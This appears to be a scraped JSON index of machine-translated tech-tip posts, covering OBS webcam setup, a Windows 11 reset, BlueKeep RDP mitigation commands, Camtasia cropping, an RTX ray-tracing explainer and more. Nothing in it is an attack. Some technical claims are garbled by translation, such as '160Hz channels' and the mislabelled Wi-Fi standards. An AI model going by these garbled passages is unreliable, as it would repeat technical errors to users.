ncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWcpMC0ec6fZK2hnJp6qq%2FOp6pmoZ5ixKq6w6iurGVhZXq0wMCrq2allaPC\n","link":"/post/fix-the-loss-of-tile-icons-in-windows-10-start-menu/","section":"post","tags":null,"title":"Fix the loss of tile icons in Windows 10 Start Menu"},{"body":"Yes, as you know, Facebook's Live Stream Video feature has just become a trend immediately, changing the way users experience Facebook. But there is one sad point that this live video playback feature is currently not available on some older Android and iOS devices (like Chinese Android phones like XiaoMi, Oppo, Huewei, even LG, SamSung), while Windows Phone fans probably still have to wait for a long, long time. And many of you have pm, inbox for me and ask:\nHow to appear as a small webcam as people often see on stream channels? admin let me ask. How do I use the camera to insert images into a corner like others stream? . In the article below, I'll show you more about this issue!\nHow to live stream videos on Facebook: On the website QuanTriMang has some specific instructions on how to do this, please refer here:\nSteps to set up live video playback on personal Facebook, Fanpage. How to Stream Live Video on Facebook mobile (Android, iOS). Video demo: How to set up a webcam to make video stream more efficient and attractive: On the Open BroadCaster setup screen , select Add\u0026gt; Video Capture Device in the Sources section as shown below:\n  Open BroadCaster will identify all webcam devices on your computer, as for example here I am using an Acer laptop, the program will accept it as HD Webcam, you can easily see on the screen. next:\n  With the main question you need to answer today, look closely at the Video section below.\nIf by default, the webcam will get the maximum resolution possible (as here is 1280 x 720 ), and it will display almost full screen when streamed, yes full screen - Full Screen will be very uncomfortable, and the content to be streamed will be obscured by that webcam. To change it, select Custom Resolution, and choose to get the desired size, I see people usually leave 352 x 288 - just the right size on 15, 17 or 19 inch screens.   Click OK to save changes. But that's the size of the webcam displayed, but what if I want to change the position of the small frame? Very simply, you right-click on the webcam and select Position / Site\u0026gt; and select the desired location:   Corresponding positions: Move to Left Edge: left corner of the screen Move to Top: above Move to Right Edge: right corner of the screen Move to Bottom: below   Video setting webcam location when streaming live on Facebook: QuanTriMang Test to change the location of the webcam with Open BroadCaster when streaming #translate #livestreamfacebook\nPosted by TipsMake.com July 21, 2016 Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytn55lnKSwosDIqKVmp5ZiwamxjLCcm5uRonq4tMSnZKWhppp6tMDRnpimZaaesaa7jKilZp6RmLKju86k\n","link":"/post/how-to-adjust-the-location-of-the-webcam-when-live-stream-video-on-facebook/","section":"post","tags":null,"title":"How to adjust the location of the webcam when Live Stream Video on Facebook"},{"body":"Computer running slow? Want to know if it's an Internet problem or a computer problem? Are background programs slowing things down or slow Internet speeds? You want to check the Internet speed quickly but Windows does not provide the native application to monitor the speed. Fortunately there is a solution to help you do this.\nYou can monitor the upload and download speeds on the Taskbar by installing a small, simple tool called NetSpeedMonitor. This is an old program but still effective and completely free.\nCheck the speed of Internet, Wifi network FPT, VNPT, Viettel without software 8 ways to check network speed is extremely accurate you should not ignore The fastest way to find DNS to optimize Internet speed   Features of NetSpeedMonitor To use NetSpeedMonitor, you need to be running Windows XP or higher. The program was developed for an earlier version of Windows, but if you use Windows 10, you can run the program in compatibility mode if not installed.\nHow to run old software on Windows 10 with Compatibility Mode You must ensure that the correct program loads. The file name will end with x64_setup. If using a file ending in x86_setup, it will not run on Windows 10 even if you have used compatibility mode.\nNetSpeedMonitor does not have many additional features so it is easy to use. It also has no ads.\nInstall NetSpeedMonitor Step 1 . Download and install NetSpeedMonitor. If installed correctly, you can skip it and go to Step 8.\nhttps://www.filehorse.com/download-netspeedmonitor-64/  Step 2 . If you see the message Operating system not supported error , you need to run the application in compatibility mode.\nStep 3 . To run it in compatibility mode, find the downloaded file in File Explorer and right click, select Properties .\n  Step 4 . Click on the Compatibility tab.\n  Step 5. Check the box Run this program in compatibility mode for and make sure the option below is Previous Versions of Windows .\nStep 6 . Click Apply and OK to save changes.\nStep 7 . Reinstall the program.\nStep 8. When installing the program, a message appears asking if you want to add bandwidth monitoring toolbar to the Taskbar. Click on Yes .\n  Step 9 . A configuration window appears so you can change the language and network adapter. If set up correctly, click Save .\nStep 10 . When you click the Save button, the upload and download speed bar will appear to the right of the Taskbar.\nUse NetSpeedMonitor By default, NetSpeedMonitor measures Internet speed using Kbit (Kilobit). You can change it to Mbit (Megabit) because most Internet service providers notice the speed in Megabits per second. To change this setting, right-click on the speed screen, select Configuration , then click the drop-down menu next to Bitrate and select Mbit / s . Click Apply to apply the changes.\nWhen opening the configuration window, you can adjust other things like font, size and toolbar alignment.\nNetSpeedMonitor is very simple and easy to use to monitor the upload and download speed right on the Taskbar. You can check them at any time to make sure the Internet works properly.\nI wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqL2trdhmoKeslae7psCMrKeenZRis7O7zGaroZ1dqa60t8GaqWannmLEqrrDqK6s\n","link":"/post/how-to-display-internet-speed-from-the-taskbar-on-windows/","section":"post","tags":null,"title":"How to display Internet speed from the Taskbar on Windows"},{"body":"Or you are about to sell the device, do a clean install and want to return the system to its 'original' state, the best way is to factory reset the device. At that time, all data as well as setup packages on the system can be cleaned up like a completely new device.\nThis article will show you how to factory reset your Windows 11 PC.\nFactory reset Windows 11 To get started, open the Settings app on your Windows 11 PC. Do this by pressing the Windows + i key combination.\nIn the Settings interface that appears, from the list on the left, click on 'System'.\n  On the 'System' settings page, click 'Recovery'.\n  In the 'Recovery' menu, under the 'Reset this PC' option, click 'Reset PC'.\n  Immediately the 'Reset this PC' window will appear on the screen. In this window, choose one of the following two options:\nKeep My Files: Select this option to delete existing applications and installation packages on the system, but will keep your personal files. Remove Everything: Select this option to remove everything on the system, including your apps, settings, and even your personal files. This will be the optimal option if you intend to sell or give away your device to someone else.   After you select an option, the 'How Would You Like to Reinstall Windows' screen will appear. If you want to reinstall Windows 11 from the cloud, select 'Cloud Download'. In case you want to do a traditional local install, select the 'Local Reinstall' option.\n  Follow the on-screen instructions to complete the system reset. When the factory reset is complete, the initial setup screen will appear as if it were your first time installing. put your PC.\nHope you are succesful.\nWindows 11 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6RmMGwvthmqZ6rlal6uLXNnaawq11mfm68wg%3D%3D\n","link":"/post/how-to-factory-reset-windows-11-pc/","section":"post","tags":null,"title":"How to Factory Reset Windows 11 PC"},{"body":"The new BlueKeep security vulnerability that attacked older versions of Windows in May affected about a million devices. BlueKeep not only attacks Windows 7 but also affects Windows 2003, Windows XP, Windows Server 2008 and Windows Server 2008 R2. Soon Microsoft released a patch for all Windows versions affected by BlueKeep. But one has not yet updated the patch and is in danger of being attacked by the BlueKeep vulnerability. The following article will show you how to fix security holes on old Windows versions.\nWhat to do if Google Chrome warns an unsafe website? 10 most effective antivirus software for Windows 9 things to do when detecting a computer infected with malware 3 things that antivirus software can't do Instructions to fix BlueKeep error on Windows Security vulnerability BlueKeep uses remote computer control protocol - Remote Desktop Protocol (RDP) of Windows to remotely access users' computers. This vulnerability allows pre-authentication and does not require user interaction for hackers to execute code on the computer system. Once they have access to the computer, they will view, change, delete all data.\nFirst of all, users need to check if their computer is vulnerable to this security vulnerability. We download rdpscan tool according to the link below.\nhttps://github.com/robertdavidgraham/rdpscan/releases  Step 1:\nWe download the patches in the 2 links below and then proceed with the installation. Windows Update mode on the computer fades to turn on.\nhttps://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708  https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708    Step 2:\nNext we proceed to disable RDP and block port 3389. To disable RDP you open CMD on the Admin computer, then enter the command below.\nReg add 'computernameHKLM SYSTEMCurentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 1 /f    Click the following command to block port 3389\nnetsh advfirewall firewall add rule dir=in action=block protocol=TCP localport=3389 name=\"Block_TCP-3389\"    I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqjuNSeop6doGLApq%2FUq6CtsV2av7O70WadqKpdrLavsM6wqmZqYGWAbsPIp5uor6NixbF51qKlnaenqHp4edaipZ2np6h6tLHRr5yrZWJlfXk%3D\n","link":"/post/how-to-fix-bluekeep-security-error-for-windows-2003-windows-xp-windows-7-windows-server-2008/","section":"post","tags":null,"title":"How to fix BlueKeep security error for Windows 2003, Windows XP, Windows 7, Windows Server 2008"},{"body":"This is a feature that helps you manage your open files more easily. However, if you want to simplify the look of your browsing, there is a way to hide open tabs from the screen. Here's how to show or hide the tab bar (tab bar) on Safari for iPad\n  First, access the Settings menu on your iPad by tapping the gray 'gear' icon.\n  In the Settings interface, scroll through the menu on the left side of the screen and tap on ' Safari '.\n  In Safari settings, swipe upwards until you find the ' Tabs ' section. Tap the switch next to the ' Show Tab Bar ' option to turn it off (the switch is grayed out).\n  If you previously turned off the tab bar and want it to work again, tap the ' Show Tab Bar ' switch so it turns green.\nNow, exit Settings and try launching Safari. You will notice that the toolbar containing open tabs has been hidden from the browser interface.\nSo how do you manage your open tabs after the tab bar is disabled? You can still easily switch quickly between open tabs by pressing the 'tab' button (which looks like two overlapping squares) in the right corner of the toolbar. It should work similarly on iPhone.\n  In case you change your mind and want to see the tab bar again, just head over to Settings\u0026gt; Safari and re-enable the ' Show Tab Bar ' option.\nThat's all, wish you a great experience with Safari!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquYpMRuu9Fmn6KclWLBoq6Mm5irZZ%2BjerStxZqpomWWpL9utc%2Bamw%3D%3D\n","link":"/post/how-to-show-or-hide-tab-bar-on-safari-for-ipad/","section":"post","tags":null,"title":"How to show or hide Tab Bar on Safari for iPad"},{"body":"This wikiHow teaches you how to test your computer's video card (also known as a 'graphics card') for performance errors and limitations. You can do this by using a benchmark test to score your video card and then comparing that score to...\nPart 1of 3:\nPreparing to Test Your GPU Place your computer in the environment in which you use it most. When testing your video card, it's best to recreate the circumstances under which you use your computer, including the temperature, location, and position. For example, if you usually use your computer while seated in bed, you should test the video card under those circumstances for the most accurate results.   Open programs you commonly use. In the theme of testing your video card as accurately as possible, make sure any programs you frequently use are open. For example, if you usually have iTunes and a web browser open while working, open those programs before you run your benchmark test.   Open the Novabench website. Go to https://novabench.com/ in your computer's web browser. Novabench is a program that has some free aspects, one of which includes assigning to your video card a score that you can use to compare your video card's performance to the ideal score.   Click Download for Free. It's a green button near the top of the page.\n  Click Personal Use. This is on the left side of the page.\n  Select your operating system. Below the Personal Use, click the operating system for which you want to download the installer. This will prompt the installer file to begin downloading onto your computer. You may need to specify a save location or click Save File before the file will download.   Install Novabench. Double-click the downloaded file, then click through the on-screen prompts until you've installed Novabench. On a Mac, you'll drag the Novabench app icon onto the \"Applications\" folder icon to begin the installation process.   Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyVqMFurYyvoJ2dn2Kwor7D\n","link":"/post/how-to-test-a-video-card/","section":"post","tags":null,"title":"How to Test a Video Card"},{"body":"If you often have to edit videos or often record video screens, then Camtasia Studio will be known. Camtasia is a tool that owns many extremely useful features, from video recording to editing video.\nWith Camtasia we can combine 2 videos into 1, insert 360-degree rotation logo into the video, change the sound of the video, . In this article you will learn how to trim the screen displayed in the video. For example, your video has redundant parts, no need to go, and you just need to take a part in the video frame only. Camtasia will cut the screen part that the user chooses not to display in the video.\nHow to cut video by Camtasia Studio How to add a mouse effect in video on Camtasia How to create flip mirror effect in videos with Camtasia How to remove video frames on Camtasia 1. Select 1 detail displayed in the video In case you shoot video tutorials and subjects in a fixed position, do not move away from the frame, you can cut the entire video in 1 certain frame.\nStep 1:\nFirst, you also need to click Import media to import the video you want to edit into Camtasia Studio's interface. Then drag the video to the Timeline bar and on Track 1.\n  Then the video frame above will display small dots. Click the Toggle Crop Mode tool .\n  Then the dot will appear as a green square as shown below.\n  Step 2:\nClick and hold the left mouse button on one of the green square dots and drag to remove the extra frame . As shown in the figure, remove the two black bands on the left and right sides of the frame.\n  Frame results will be collapsed as below.\n  Depending on where the subject in the video is and the user wants to cut off the frame, we move the green dots to the desired position. So the entire video will be cut into a compact frame.\n2. Select a detail displayed in a video In case the video has many different scenes but the subject moves, then we can choose a segment to cut the frame in the entire video.\nStep 1:\nAlso at Track 1 of the Timeline, we will cut the video into different sections , depending on the content and the need to cut the screen. If the subject stands up and moves, select that time to cut the video.\nDrag the time bar to the point you want to cut and then click the Split tool icon .\n  Step 2:\nNow the video will be divided into 2 different parts.\n  Continue to bring the time bar to 2 different videos to proceed to cut the screen according to the position of the subject as above. Also click the Toggle Crop Mode icon to switch to the blue square, then drag to remove the extra frame for each video.\nThe way we do it is as in part 1.\n  The operation to crop frames in videos on Camtasia is very simple and easy, there is no need to perform too many operations. Depending on the content in the video, especially the host to stand still during the video or move scene, change that the user can choose one of the two ways to do it.\nSee more:\nShortcuts in Camtasia Studio How to use Captura to take photos, record, film screen of Windows 10 Top online video editing websites, making online videos I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyinrpurYysmqudlaN6pbXSqaOasZmjtG7CyJ2cqKtdpLtur8Cmq5qrmZY%3D\n","link":"/post/how-to-trim-a-screen-displaying-videos-on-camtasia/","section":"post","tags":null,"title":"How to trim a screen displaying videos on Camtasia"},{"body":"To remove the software, the application on Windows is very simple, or delete the file just by pressing Delete. However, it is not always possible to delete files and files, because you may encounter a \"stubborn\" file. When you delete a file or file on your computer, it displays an error message, and you cannot complete the file deletion.\nIn this case, it is necessary to use software to erase files and stubborn files such as Unlocker. For files that are locked and cannot be deleted, Unlocker will unlock so you can press Delete easily. The following article will guide you how to use Unlocker software on your computer.\nDelete the most \"stubborn\" files on Windows 10 tips to remove programs that cannot be uninstalled Top 4 best free application removal software Instructions for using Unlocker on Windows Step 1:\nClick on the link below to download Unlocker software to your computer and proceed with the installation.\nDownload the Windows Unlocker software   Step 2:\nSelect the software installation folder by clicking the Browse button or clicking the Next button to continue. Finally, wait for the installation process to complete.\n  Step 3:\nClick on the software icon and the folder interface will appear on your computer. Look for the file you want to delete and click OK.\n  Step 4:\nA new interface appears for users to choose to manipulate the file. In the No action section, click the Delete operation to delete the selected file. Click OK to proceed.\n  When you have a message like the image below, you have successfully deleted the file.\n  In addition, the software also supports moving files to other storage folders, or renaming files and files. To rename you click Rename . The table will then display a new name for the file.\n  If you want to move the new archive, click on Move . Then the user selects a new folder to store the file. Or if you want to create a new folder, click Make New Folder.\n  With Unlocker software, we are able to completely remove the corrupted, stubborn files that cannot be deleted in the usual way. Operation is very simple and quick. Also users can rename files or move storage locations right on Unlocker interface.\nSee more:\nHow to use Smarty Uninstaller to remove software completely on Windows Completely uninstall software in Windows with Revo Uninstaller How to use Your Uninstaller to remove software completely I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq2usuomqSdomLAsLLTsJirnQ%3D%3D\n","link":"/post/how-to-use-unlocker-software/","section":"post","tags":null,"title":"How to use Unlocker software"},{"body":"Live Photos is one of the new features introduced by Apple on iOS 9 . This feature allows users to view live and vivid images. However, Live Photos can only be shared among iPhone users. How to share Live Photos with everyone. The following article will help you take steps to share Live Photos with everyone.\nThe best way to easily share photos Live Photos is convert to animated images - GIFs. To convert Live Photos to animated images (GIFs) , first use the connection cable to connect your iPhone to the computer.\n1. Copy or move Live Photos image files on Mac:   If you use Mac, you can use Image Capture.\nThe next step is to choose the photo Live Photos you want to convert. You will see the JPEG image and the MOV file created at the same time. Select the MOV file and save it on your computer to easily convert it.\n2. Copy or move Live Photos image files on Windows: If you use Windows, the best way to copy or move Live Photos image files from iPhone and iPads is to navigate your iOS device to File Explorer .\n  Select the DCIM item. All image files are stored in DCIM.\nFinding each image is quite time consuming, you can use the String Search function '* .mov' to search. All files on your device ending in .MOV will appear.\n  After searching for the MOV file you want to convert, you can use the GIF- making application to convert to GIF animation format or access the makeagif to change the format.\nSee also: Convert iPhone MOV video format with Windows Live Movie Maker 3. Share photos of Live Photos on Facebook similar to sharing animated GIF images: Currently, Facebook does not yet have a feature that allows users to share animated GIFs onto the timeline, so to share animations you must use the Giphy application (Giphy is an application that allows users to share animations on Facebook).\nStep 1: Visit http://giphy.com.\n  Then upload photos, you can download MOV files, Giphy will automatically convert the format to animated GIFs.\n  \nStep 2: After converting the format, you can share your photos on Facebook .\nA popup will appear asking you to allow this image to be shared as a link. You can add the associated Status if you want.\n  Step 3: Then, check your Facebook wall, or check Newsfeed you'll find the animation you share. Click Play to see the animation.\nAlso you if you want to save new images converted to animated GIFs format to your computer, click on \"Advanced\" and download to your computer.\n  4. Share Live Photos similar to sharing videos on Instagram: It's quite simple to share Live Photos on Instagram .\nFirst convert the MOV file through the AirDrop application. After converting, open your Instagram and select the video file you want to share.\n  After selecting the video file, you can use Filters to edit the video. The editing steps are the same as you edit a normal video.\n  In addition, you can share videos from Instagram to Facebook if you don't want to convert MOV files to animated GIFs .\n  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWarmJa%2FqrrGZqOirpVivam706iqZqeeYrOir8SbpqijXZa7pXnIp6qtmZenrq4%3D\n","link":"/post/instructions-for-sharing-live-photos-on-facebook-and-instagram/","section":"post","tags":null,"title":"Instructions for sharing Live Photos on Facebook and Instagram"},{"body":"Usually for taking photos or recording videos on iPhone you will have to find and open the Camera application. However, few people know that using Siri to take photos, record videos or selfies will be much faster.\n  1. How to take photos with Siri on iOS 10? Step 1: Press and hold the Home button on your iPhone, iPad or iPod to open Siri. Or alternatively you can say Hey Siri if you have enabled this feature.\n  Step 2: After Siri has been activated, you can now command Siri:\n'Take a picture' 'Take a Panoramic picture' 'Take a Square picture'   Step 3: Siri will open the Camera app and the photo mode you requested above. The next step is to simply click on the capture button icon to take a photo.\n2. How to record videos with Siri on iOS 10? Step 1: Press and hold the Home button on your iPhone, iPad or iPod to open Siri. Or alternatively you can say Hey Siri if you have enabled this feature.\nStep 2: After Siri has been activated, you can now command Siri:\n'Take a video' 'Take a Time-Lapse video' 'Take a Slow Motion video' Step 3: Siri will open the Camera application and video recording mode you require above. The next step is to simply click on the video dial icon to start recording the video.\n3. How to selfie with Siri on iOS 10? Step 1: Press and hold the Home button on your iPhone, iPad or iPod to open Siri. Or alternatively you can say Hey Siri if you have enabled this feature.\nStep 2: After Siri has been activated, you can now command Siri: 'take selfie'.\nStep 3: Siri will open the Camera application and switch to the previous camera mode so you can 'selfie'.\nRefer to some of the following articles: Unlock iOS 10 device with just 1 touch, have you tried it or not? Summary of some common errors that occurred during iOS 10 update and how to fix bugs (The last part) Summary of some common errors that occurred during iOS 10 update and how to fix errors (Part 1) Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnTmqKeZaCdvLW70mapnpufp7FuwsidnKirXaS%2Fbr%2FEpZ2inV2strW0jKygq6FdpLtutc6sZGpo\n","link":"/post/instructions-on-how-to-take-photos-record-videos-or-selfie-with-siri-on-ios-10/","section":"post","tags":null,"title":"Instructions on how to take photos, record videos or selfie with Siri on iOS 10"},{"body":"Since WiFi technology is used for businesses, it has become a controversial technology.\nWhat IT managers want is a technology that meets special needs easily, can be quickly deployed, managed, and not outdone by the wave of technology that is taking place before being fully implemented.\nThat's exactly what EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point will provide. Find out more about this device through the following article!\nPrice of EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point The price of EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point reflects that it provides enterprise-class technology, not for home users or small businesses.\nEnGenius offers two models: EWS377AP (reviewed here) and EWS357AP a little less impressive. The popular price for EWS377AP is $ 308 (7,133,000 VND) on Amazon.\nDesign EnGenius comes with a classic and distinctive minimalist style. Gentle square dome shape, size 205mm made from high quality white plastic combined with aluminum base.\nThere is no means to power this device. The answer may be that users are encouraged to power this device with PoE (Power Over Ethernet), because only the Ethernet port supports it.\nThe version of PoE provided is 2.5GBASE-T PoE +. But, to achieve that level of traffic, a switch that will support 2.5GBASE-T on PoE links and those devices is not cheap.\nWithout that connection, most of the potential WiFi bandwidth provided by EnGenius EnSky can only be shared between connected wireless devices, not suitable for a wide range or further wired network.\nAs an IEEE 802.11ax access point, referred to by the Wi-Fi Alliance as Fi WiFi 6, this hardware supports a number of important enhancements that 802.11ac does not include, such as MU-MIMO (both uplink and downlink), segmentation. Dynamic data packet fragments and Target Wake Time (TWT) technology help reduce overall power consumption.\nInstallation and configuration This hardware is meant to be mounted on a ceiling. When installed, powered and connected to the network, it can be configured using an existing web interface or a remote management tool like SkyKey.\nEfficiency Usually at close range, EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point achieves about 650Mbps on 5GHz connections and 150Mbps on 2.4GHz links. These levels decrease with distance, but not as dramatically as with 802.11ac hardware. Even a few rooms away, the speed still reaches more than 200Mbps on the 5GHz band, which is impressive.\nThis router is equipped with Qualcomm Quad-Core A53s chipset clocked at 2GHz, providing 802.11ax connections on both 2.4 and 5GHz bands.\nSome 4x4 hardware manufacturers are adding 160Hz channels to their devices to create more bandwidth, but this is not an option with the Qualcomm chips used here.\nDue to the recent firmware upgrade, EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point is fully MESH capable and by the time the 802.11ac specification has been fully approved, it is hoped that the next upgrade will open. Wide range of hardware when additional channels are available.\nConclude EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point is a high quality 802.11ax access point that supports MESH, which simplifies deployment of Power-Over-Ethernet technology. The additional cost is worth paying for an access point superior to all other 802.11ac hardware. EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point allows to expand the range and increase the quality of service in high traffic environments.\nAdvantages:\nPoE + Uplink and OFDMA downlink MESH capable Defect:\nThe price is not cheap Excludes PSU (power supply device) ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqyYmnqmusaepaKto2Kyr7%2FKsmSwoZaeend5k7FrZqGembywvoyampydo6h6sbvIp6tmqp%2Bqwaa%2B\n","link":"/post/review-the-engenius-ensky-wi-fi-6-4x4-indoor-access-point-router/","section":"post","tags":null,"title":"Review the EnGenius EnSky Wi-Fi 6 4x4 Indoor Access Point router"},{"body":"\"Torture water box\" - one of the most unique creations by Harry Houdini, a great magician with world-leading liberation skills at the end of the 19th and early 20th century. dangerous situation, close to death makes the audience nervous to follow his performance.\nDiscover the secret of handcuff magic tricks locked in closed containers Flipping the magic trick suspended above does not have magic Reveal the secret magic of classic magic going through the Great Wall of the \"witch\" David Copperfield The glass box used in this classic magic show was created by himself and placed at a price of $ 10,000 and patented.\n  The box has a frame made of mahogany and nickel, copper-plated details, the front of the box is a safety glass sheet (the type of glass when broken will break into non-sharp pieces) up to 1.5 cm thick.\nTo impress and affirm that there are no special exits available, Houdini will often begin the magic show by having an audience choose where to put the box on stage.\n  Houdini will be handcuffed and locked in a wood-made gong that acts as a lid with four locking pins around, only open from the outside. He was taken up into the air, then lowered him into a glass box filled with water with a pulley.\n  After that, the tank was covered. Outside, an assistant with an ax in hand always ready to break the glass in case of an accident.\nFrom the start of the performance, the audience was always nervous to stand by the heart because the feeling of accident could happen at any time.\nBut after only two minutes, Houdini appeared from behind the perfectly healthy veil while the glass case was intact and there was no sign of breaking, surprising and delighted by the audience.\nIn the state of being handcuffed and locked up like that, how did Houdini escape the cramped box filled with water?\nThere are two important factors that help Houdini successfully implement his dangerous magic.\nFirstly, the locker on the leg used when attaching to the glass case will be responsible for covering an air that appears inside the box. This air is the part of the water that was spilled out when Houdini was brought inside.\nSecondly, at first glance this gong is very sturdy and very hard to break with force but in fact it is specially designed to be easily opened.\n  When the curtain was covered, Houdini used the sides of the tank to push up his legs, turning to turn on a secret lock and get out of the gong. With the handcuffs, things are much simpler, just a 'light shake' is done.\n  After escaping from the glass case, Houdini closed the mound into his old position, and appeared to the audience himself as a miracle.\nncG1vNJzZmismaXArq3KnmWcp51ks621z6mgp59dqbWmecKlmKyrmZh6pr%2FCmqeeZZ2WtKqvjKyropubnruoediorKtllpqytXnHmqWdm6Wbs7R5x5qloKGenHq2vNKim55llKTEr3nIp2StoJVixKLAxKtkm6eoYq6vsIysq6KknGKytK%2FAqaCnn12orqexy7I%3D\n","link":"/post/sticking-your-feet-handcuffs-hanging-upside-down-in-the-water-box-and-still-escaping-safely/","section":"post","tags":null,"title":"sticking your feet, handcuffs, hanging upside down in the water box and still escaping safely"},{"body":"Real-time ray tracing technology has been a distant dream for decades, and now NVIDIA's RTX-20 graphics hardware has finally done that.\nRecently, NVIDIA has released three new GeForce RTX 2070, 2080 and 2080Ti graphics cards, promising new real-life rendering capabilities. According to NVIDIA, thanks to the technology of rendering Ray Tracing, the GeForce RTX is more powerful than the system including 4 GPU Volta or 10 GeForce GTX 1080Ti.\nSo, what is Ray Tracing or ray tracing technology, and how does it differ from current graphic extraction technology?\nBasically, ray tracing is based on the behavior of light in real time when interacting with objects in the scene for rendering.\n  NVIDIA's new graphic architecture called Turing solves a wide range of problems of current ray tracing technology.\nRay detection technology is suitable for adding realistic lighting effects.\nTuring cards use ray detection technology that is very expensive, so it has never been delivered to GPUs for general users. But now NVIDIA is ready to do that.\nHow is this ray tracing technology special? Current graphics technology is using raster (Rasterization) technology, simulating light and behavior of light in a certain context. This is similar to the way a painter, each layer of objects is shown in turn from front to back, makes the rear objects obscured by the front objects.\n  Conventional Raster technique (left) and ray tracing technique (right).\nIn this way, the raster technique will not track and render light, making it difficult to render reflection. This technique is often used only in real-time scenes, not when simulating the movement of complex scenes such as 3D motion pictures or in video games . because the hardware cannot respond. OK.\nBut with ray tracing technology, it can reconstruct the behavior of light when traveling to surfaces, materials and moving objects, then extract and display more complex. It can even simulate in real time how light rays interact with objects, create reflection, scattering, refracting effects or detect and display refracting glasses and reflective mirrors. projection, visualizing the origin and color of light after passing through the object.\n  In fact, ray tracing techniques have been used by professional users to produce movies like Pixar's Monsters University, Marvel's Iron Man. And now NVIDIA has brought this technology to mainstream users.\nThis is the biggest leap that NVIDIA has ever made in a generation (GPU card) by ray tracing technology that requires a tremendous amount of computing power.\n  In the newly released GPUs, NVIDIA used the new Turing architecture to solve the problem of processing. Tensor Core core is capable of using AI to deduce the \"real-time\" part of the image that is equipped for dedicated beam detectors to make the GPU capable of simulating 6 times faster than the previous Pascal platform. here (on 1080Ti GTX).\nThis big jump in graphics technology will enable studios and individuals to expand the use of this ray tracing technology to apply in animation, games and scientific simulations.\nCurrently, this new GPU has only been produced by NVIDIA for desktop computers and the laptop will have to wait until next year. Metro: Exodus and some upcoming games are available with the NVIDIA RTX demo to show off their real-time ray detection capabilities.\nWhich game will support Ray Tracing? Ray detection technology will not improve graphics in all games you play. It only helps on games that support NVIDIA RTX technology and only when you enable ray detection. Here are some of the games that NVIDIA announced will support this technology, of course there will be more supportive games in the future, but these are pioneering names:\nAssetto Corsa Competizione Atomic Heart Battlefield V Control Enlisted Justice JX3 MechWarrior 5: Mercenaries Metro Exodus ProjectDH Shadow of the Tomb Raider The trailer below also mentions Atomic Heart, Battlefield V and Control, but they have gameplay different from what the video of Shadow of the Tomb Raider shows.\nIf you learn about this technology, you must have seen the Stormtrooper demo running on NVIDIA DFX Station, the computer is $ 60,000 (about 1.4 billion VND). This video shows real-time ray detection technology and makes everything look great. Of course, on your home desktop, it won't be as beautiful as this, but it's still really great. Especially stormy scenes, scenes with many costumes and surfaces. Scenes of the forest or the streets under ray tracing technology will be much more impressive, but still need more high-resolution textures to make them look more perfect.\nPrice of RTX NVIDA said there are 3 different GPUs in the GeForce RTX 20. The starting price of the RTX 2070 is $ 499, the RTX 2080 card is $ 699 and the RTX 2080 Ti card is $ 999. These are high-end GPUs but are quite affordable for ordinary gamers.\nYou can pre-order the Founders version of these GPUs but the price of each will increase to 100USD.\nThe GeForce RTX 20 Series also improves performance These cards are currently NVIDIA's fastest GPUs you can buy. Specifically, NVIDIA said that the RTX 2080 is 50% faster than 1080 GTX when running in 4K resolution in games like PlayerUnknown's Battlegrounds, Shadow of the Tomb Raider and Wolfenstein II. NVIDIA said the cards will deliver 60 frames per second in 4K resolution in games like Call of Duty WW2, Destiny 2, Far Cry 5 and Battlefield 1.\nThe GeForce RTX 20 Series also uses new DLSS (Deep Learning Super-Sampling) technology combined with AI to improve performance by up to 75% in PlayerUnknown's Battlegrounds game, Shadow of the Tomb Raider and Final Fantasy XV.\nIn other words, besides ray detection technology, these are the fastest NVIDIA graphics cards available today.\nShould you buy it? If you like the latest, fastest technology, you should buy them.\nIf you are hesitating, wait a while longer, when the cards are sold and have accurate evaluations about them, then decide.\nBecause it is a new technology, its price will be very high at first. Then, as usual, many companies will follow and more and more similar devices are available at more affordable prices, gradually becoming more and more popular.\nAlthough you do not buy this new ray detection technology, the RTX 20 series is helping game developers have the opportunity to integrate ray tracing technology into their products. Many games will support this technology when the corresponding graphics hardware is becoming more and more popular.\nSee more:\nNvidia Turing - The first GPU to own a new generation architecture that helps detect beams in real time MX Vertical, computer mouse tilted 57 degrees compared to the touchpad, helps reduce hand fatigue This is how AI defeats the best Dota 2 players ncG1vNJzZmismaXArq3KnmWcp51kxKmt02abqJ2jYsGpsYyrmLJlpKeupLXNoGStnZOdu7C4zqCwZqeeYsGpsYygnJ%2Bnopiybr7TsWRraKhiwKa%2ByJ6qZqWVlrtuwM5mnpqllafA\n","link":"/post/what-does-the-ray-tracing-technology-on-the-geforce-rtx-20x-series-mean-to-gamers/","section":"post","tags":null,"title":"What does the Ray Tracing technology on the GeForce RTX 20x series mean to gamers?"},{"body":"Perhaps this is one of the most difficult questions to answer because there are so many stars in the sky that we cannot count. So, with the help of modern technology, will astronomers count and give the correct answer? Let's find out.\nConsidering the macro-scale of the entire galaxy in the universe.\nThere are about 170 billion galaxies extending in a radius of more than 45.7 billion light-years in the visible universe (observable universe - a collection of all the phenomena and phenomena that can affect children. People and Earth that humans with astronomical means can identify at the present time.\n  